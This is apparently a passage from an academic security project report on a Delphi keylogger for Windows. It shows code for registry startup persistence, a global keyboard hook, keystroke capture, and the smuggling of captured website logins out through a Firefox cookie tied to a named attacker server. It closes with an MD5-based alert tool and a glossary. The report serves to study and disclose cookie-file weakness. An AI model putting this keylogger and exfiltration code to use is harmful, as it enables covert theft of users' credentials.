keyhooks and global keyhooks. The concept of a keyhook can be stated in general to be a portion of code (whether it is within the project code or in the form of a Dynamic-Link Library) that is implemented within a system by ‘hooking’ itself to the keyboard buffer and intercepting all keystrokes before reaching any other program running on a system. A Dynamic-Link Library (or DLL) is necessary for a global-wide system keyhook. The reason for this is involved with the idea on how a program loses focus privileges when it is run in the background. Most languages can build a system keyboard hook, but will lose the hook as focus is lost. This is due in part for some security settings in the Operating System itself. Having a DLL implement the hook makes it apart of the Operating System’s kernel processes. A DLL always has “focus” in terms of a system, since it is being utilized by low-level processes and even the kernel at times. The idea of a Windows hook is technically a callback function that is inserted into the Windows messaging system [Gajic 2007]. This hook accesses the message stream before any other programs do.

The overall basis of how this portion of the project runs follows. After being downloaded from the malicious Website, the idea is to have an installation package install the malicious program’s executable in an unknown section of a user’s hard drive. One instance could be within the “Windows” Operating System file directory, or possibly in the “Documents and Settings” directory of Windows. In either case, most general users try to stay away from the “Windows” directory, since some may fear that tampering with this directory could mess up their entire system. After the installation of the executable file, and upon initial launching of the program it can then insert itself into the registry and
tell the Operating System to start up the program every time the computer is turned on. In Figure 5.3, we can see a portion of example code that involves this process.

```delphi
procedure RunOnStartup(sProgTitle,sCmdLine:string;bRunOnce:boolean);
var
  sKey : string;
  reg : TRegIniFile;
begin
  if(bRunOnce) then
    sKey := 'Once'
  else
    sKey := '';

  reg := TRegIniFile.Create('');
  reg.RootKey := HKEY_LOCAL_MACHINE;
  reg.WriteString('Software\Microsoft' + 'WindowsCurrentVersion\Run' + sKey + #0,sProgTitle,sCmdLine);
  reg.Free;
end;
```

Figure 5.3 – Delphi Code to Insert Startup Command in Registry

The procedure “RunOnStartup” accepts 3 variables: program title, command line to initiate the program, and a Boolean value to set run once (if set to false it runs at every instance the machine is booted) [Fei 2007]. To continue, once the program is running it will systematically record and keep track of every keystroke done within the system. It does this by instantiating the keyhook created in DLL form.

A quick overview on why a global keyhook needs to be instantiated as a DLL follows. In order for a program to watch the entire global instance of keystrokes, a DLL must be used. The main reason on why a DLL is best is because of the level of operations that the program will need to go. Such a keyhook is done with low-level coding. As earlier stated, the hook is placed within the Windows messaging system so that the hook itself can intercept keystrokes from the message stream. Continuing on the keyhook, 3 parts make the entire DLL: $UKeyHook.pas, MMFUnit.pas, KeyHook.pas, and CPKeyHook.pas$. When compiled, the first 3 files create KeyHook.dll, which is used by the global keyhook in the executable file. Delphi uses $CPKeyHook.pas$ to create the
instance of the keyhook message stream listener. It is here that KeyHook.dll is bound to
the malicious program. When instantiated, CPKeyHook calls the
"KeyboardHook_StartLL" command. It is within KeyHook.pas that the command is
translated towards "Hook_StartLL", which is located within UKeyHook.pas. In Figure
5.4, we can see the code involved with Hook_StartLL.

```pascal
function Hook_StartLL(WinHandle : HWND; MsgToSend : DWORD;
                        DisableKeyboard, HookInjected: boolean) : boolean; stdcall;
begin
  result := false;
  if (MMFData <> nil) and (MMFHandle <> 0) then exit;
  MMFHandle := CreateMMF(MMFName, SizeOf(TMMFData));
  if MMFHandle <> 0 then
    begin
      TRY
        MMFData := MapMMF(MMFHandle);
        if MMFData <> nil then
          begin
            MMFData.WinHandle := WinHandle;
            MMFData.MsgToSend := MsgToSend;
            MMFData.BlockKeys := DisableKeyboard;
            MMFData.HookInjected := HookInjected;
            MMFData.NextHook := SetWindowsHookEx(UH_KEYBOARD_LL, HookKeyboard_ProcLL, hInstance, 0);
            if MMFData.NextHook <> 0 then result := true;
          end;
        FINALLY
          if Not Result then UnMapAndCloseMMF;
        end;
      end;
    end;
end;
```

Figure 5.4 – Hook_StartLL Code

Upon calling Hook_StartLL several parameters are included: WinHandle,
MsgToSend, DisableKeyboard, and HookInjected. Each of these items plays an important
role with the keyhook.

As the keyhook is started and applied to the system, the malicious program simply
just sits and waits. The program analyzes each keystroke and stores it within a temporary
variable called "CapturedLine". In Figure 5.5, we are shown the portion of code within
the malicious program that captures keystrokes in real time.
procedure TForm1.OnKeyPress(Sender: TObject; var KeyStates: TKeyStates; var KeyNames: TKeyNames); begin inc(callcount); ...

(If carriage return is hit then mark it as so in the file)
if KeyNames.KeyChar = #13 then begin
  BeginSubStringFind(CapturedLine);
  if okayToWrite = 1 then begin
    ...
    StolenInformation := StolenInformation + CapturedLine + #13;
    ...
  end;
  CapturedLine := CapturedLine + #13;
  CapturedLine := '';
  end
else CapturedLine := CapturedLine + KeyNames.KeyChar;
end; end;

Figure 5.5 – Real-Time Keystroke Capture Code

In the above Figure, we are shown how within Delphi with each key pressed on a keyboard, the malicious program reads and instantly begins to intercept the stroke within the Windows message stream. By reading the buffer named AKeyNames.KeyChar, it can determine what key is pressed (in decimal form). Here we see that #13, which represents a decimal format for the key “Enter”, is recognized by an if-statement. As a result, this would mean that a user has entered a string of text and pressed enter, wherein the program would activate and begin to analyze the captured line of text by calling “BeginSubStringFind”. This function analyzes the string to see if a substring is found that designates one of the targeted Websites. This goes hand-in-hand with the assumption that a user has just entered a URL address into Mozilla Firefox’s URL text box. In order to visit the page, it is assumed that the user simply hits enter after typing the URL completely in the textbox. This would limit the overuse of the keyhook and buffer check features. It is recognized that programs such as Word Processors might become a target, however a simple running process check is done within the malicious program and
compared against the string “firefox.exe”. By calling the `CreateToolHelp32SnapShot` command in Windows, the return value is a `THANDLE` structure of program information. This list shows the current running processes on the system by name, and since Mozilla Firefox always names their executable “firefox.exe”, a simple string comparison would suffice to find a match. This helps once again to insure that less CPU power is done during the entire program life. Figure 5.6 shows a basic flow-chart description of this process, which is further explained afterwards.

Figure 5.6 – Basic Flow-Chart for Malicious Program/Computer User Interaction
It is understandable that one should never try to open and/or write to a file that could purposefully be used on a whim by Mozilla Firefox. As a result, if a matching string of text is found (say mail.yahoo.com for example), then the malicious program begins to record further information in a time-allottment of 25 seconds. This time-span is done with the assumptions that the user’s Internet connection is at least swift enough to load the page efficiently, as well as the assumption that a user visits such log-in Websites enough to simply begin typing in their username and password. One further assumption is that a user hits “Enter” after typing in their password, since now-a-days most Websites allow such keystrokes to help determine an activation or submittal process for logging. It is after this point that three vital pieces of information are gathered: the URL address of the Website the user is trying to visit, the username and password information if such Websites are within the targeted domain of members only Websites.

As this information continues to be gathered (multiple Websites can be caught, and the information will be appended for later writing), the malicious program searches for the default directory that Mozilla Firefox is installed in. A call to a function named FileSearch contains two additional parameters to be sent: the default directory to search in, the string that is being searched for. One assumption here is that the user has installed Mozilla Firefox into its default recommended directory: C:\Documents and Settings\ (for Windows XP). This helps to limit the amount of processing power the search function demands, so no noticeable spike in performance is picked up. Although to insure that the correct directory is found, the actual file location string is once again analyzed. First off a comparison of “C:\Documents and Settings\” is performed once again (to avoid any false positives), followed by the comparison of “\Application Data\Mozilla\Firefox\Profiles”.
This last portion helps ensure that the directory being searched in is indeed a user’s profile. The program continues to capture keyboard input that meets the standards within the code, until Firefox is closed down. Every 15 seconds the program calls `CreateToolHelp32SnapShot` to view the running processes and checks to see if Mozilla Firefox is running or not. If the check is negative, and there is stolen data in the variable then the program opens and reads the actual cookie file line by line, storing it into a temporary array in the program.

Each line is then inspected and checked to see if the cookie line being read is the one for the malicious server. In Figure 5.7, we can see the code for this procedure. It is here, that when the cookie line is found (in this case “cyon.servebeer.com”), then the updating begins. The original cookie file was read into a `TStringList`, which is a list of strings within an array encapsulation. As a result, a `List.BeginUpdate` must be called for any editing of the variable.

```pascal
procedure TTestThread5.FindCookieLine;
const
  defaultCookieLine: string = ('cyon.servebeer.com');
var
  counter2: Integer;
begin
  List.BeginUpdate;
  Form1.ListBox3.Clear;
  for counter2:=0 to List.Count-1 do
    begin
      if AnsiContainsStr(List[counter2], defaultCookieLine) then
        begin
          editedCookieLine:=List.Strings[counter2]+#124+UKeyHookDemo.stolenInformation;
          List.Delete(counter2);
          List.Insert(counter2, editedCookieLine);
          WriteLn(newFile, List.Strings[counter2]);
        end
      else
        begin
          WriteLn(newFile, List[counter2]);
        end;
    end;
  List.EndUpdate;
end;
```

Figure 5.7 – FindCookieLine Code
A simple \texttt{AnsiContainsStr} command does an ANSI-comparison of the cookie line against the \texttt{defaultCookieLine} variable seen in Figure 5.7. If the two items match, then the updating begins. The line is read and stored locally, and the stolen information will be appended to the line. Otherwise the lines are written just as they were read normally.

Coupling all these items together help form the entire malicious program. It is here that the discovery of how vulnerable the cookie file really is was discovered. Any program that wants can edit a cookie file, appending any type of sensitive or non-sensitive information for a server to read upon re-visiting the Website. It was also here that the idea of having a program attempt to control access to the cookie file also blossomed.

### 5.3 Defending Program

As stated earlier, the defending program section of the project was initially proposed to be just that, a defending program. However, as a direct result of lack of time and experience the scheme had to be changed to that of an alert program.

During initial testing of the program, it turns out that unfortunately the program picks up both illegitimate and legitimate changes of the cookie file. The program catches such changes by comparing an original MD5 checksum of the cookie file against a secondary MD5 checksum that is gathered as Mozilla Firefox is closed. The alert program sends an alert box to the user. In the pop-up alert box, the user is shown that their cookie file was recently changed from the time that the alert program started, to the time that Mozilla Firefox was closed. Unfortunately, this is not the best approach to sectioning off illegitimate activity against legitimate activity. As a result, it is strongly suggested that this portion of the project have some continuation to it. Yet for now, it
appears that such minor activity such as comparing an MD5 checksum does provide at least some insight on what is going on with a cookie file.

5.4 Future Expansion

For future expansion, it is strongly suggested that milestone three is worked on. The original proposal involved creating a defensive program, not the alert program seen in this demonstration. Several ideas are suggested:

- Build a software program that regulates access control to cookie files
- Create an extension that intercepts Website requests, and utilizes a check and balance system that: investigates the requestor, their access rights, and past cookie history

A more definitive and professional approach would involve working with the actual Mozilla Project code source. This would involve implementing an in-code check that protects write access to the cookie file with security checks, and prevents full read-access to programs other than Mozilla Firefox itself. In either case, security is a necessity for cookie files that is often overlooked.

5.5 Acknowledgements

Thanks goes to BitLogic software for providing sample code in regards to using a keyhook with a globalized DLL. Also, a thank you goes to the Website Delphi Basics, for providing an in-depth Website tutorial for Delphi code.
BIBLIOGRAPHY AND REFERENCES


### APPENDIX A. DATA DICTIONARY

<table>
<thead>
<tr>
<th>Term</th>
<th>Definition</th>
</tr>
</thead>
<tbody>
<tr>
<td>Hacker</td>
<td>An adept computer programmer, sometimes self-taught. Usually attempts to break security or gain sensitive information for personal gain and use.</td>
</tr>
<tr>
<td>HTTP Cookie</td>
<td>Sometimes known as cookies or web cookies. Cookies are parcels of text that are sent from a server to a Web browser, for later resending upon each successive visit to the Website. Cookies help determine authentication, tracking, and saving preferences for said Website.</td>
</tr>
<tr>
<td>Internet</td>
<td>A world-wide, publicly accessible network of interconnected computer networks.</td>
</tr>
<tr>
<td>Internet Explorer</td>
<td>A graphical Web browser developed by Microsoft, Inc. One of the most widely used Web browsers in the world, ever since its introduction as a part of the Microsoft Windows line of Operating Systems.</td>
</tr>
<tr>
<td>Malware,</td>
<td>General term for malicious computer code. Trojan Horses, ad spyware, hijackers, dialers, viruses, and worms are examples.</td>
</tr>
<tr>
<td>Mozilla Firefox</td>
<td>A second graphical Web browser developed by the Mozilla Corporation. Reportedly the 2\textsuperscript{nd} most used Web browser.</td>
</tr>
<tr>
<td>Payload</td>
<td>Malicious code carried by attackers. Spyware, Trojan Horses, auto-dialers, destructive code and other malware.</td>
</tr>
<tr>
<td>Phishing</td>
<td>A social engineering technique that is usually associated with a desire to fool a user into trusting the E-mail. Phishers fraudulently attempt to gain sensitive user information (login information, bank account information, credit card information, etc) by impersonating a business or person who may seem trustworthy.</td>
</tr>
<tr>
<td>Social Engineering</td>
<td>An attempt to fool a user for information. Has been seen in phone calls, E-mails, and Websites.</td>
</tr>
<tr>
<td>Spoofing</td>
<td>A situation where a person or program successfully impersonates another and successfully gains an illegitimate advantage. Usually tends to impersonate Websites such as Banks, Online E-mail Websites, E-commerce sites, etc. Tries to gain personal information such as accounts or login information.</td>
</tr>
</tbody>
</table>
Also known as “URL”. URL is the director for a Web-browser to look in when searching for a Webpage. An example URL looks like this: http://www.example.com:80/sample/house?size=large#2
Here is a quick meaning for each part:

- http – Is the scheme for accessing the file
- www.example.com – Is the host
- 80 – Is the port to access
- sample/house – Is the access path
- size=large – Is a query action
- 2 – Is a fragment that can be used to depict other items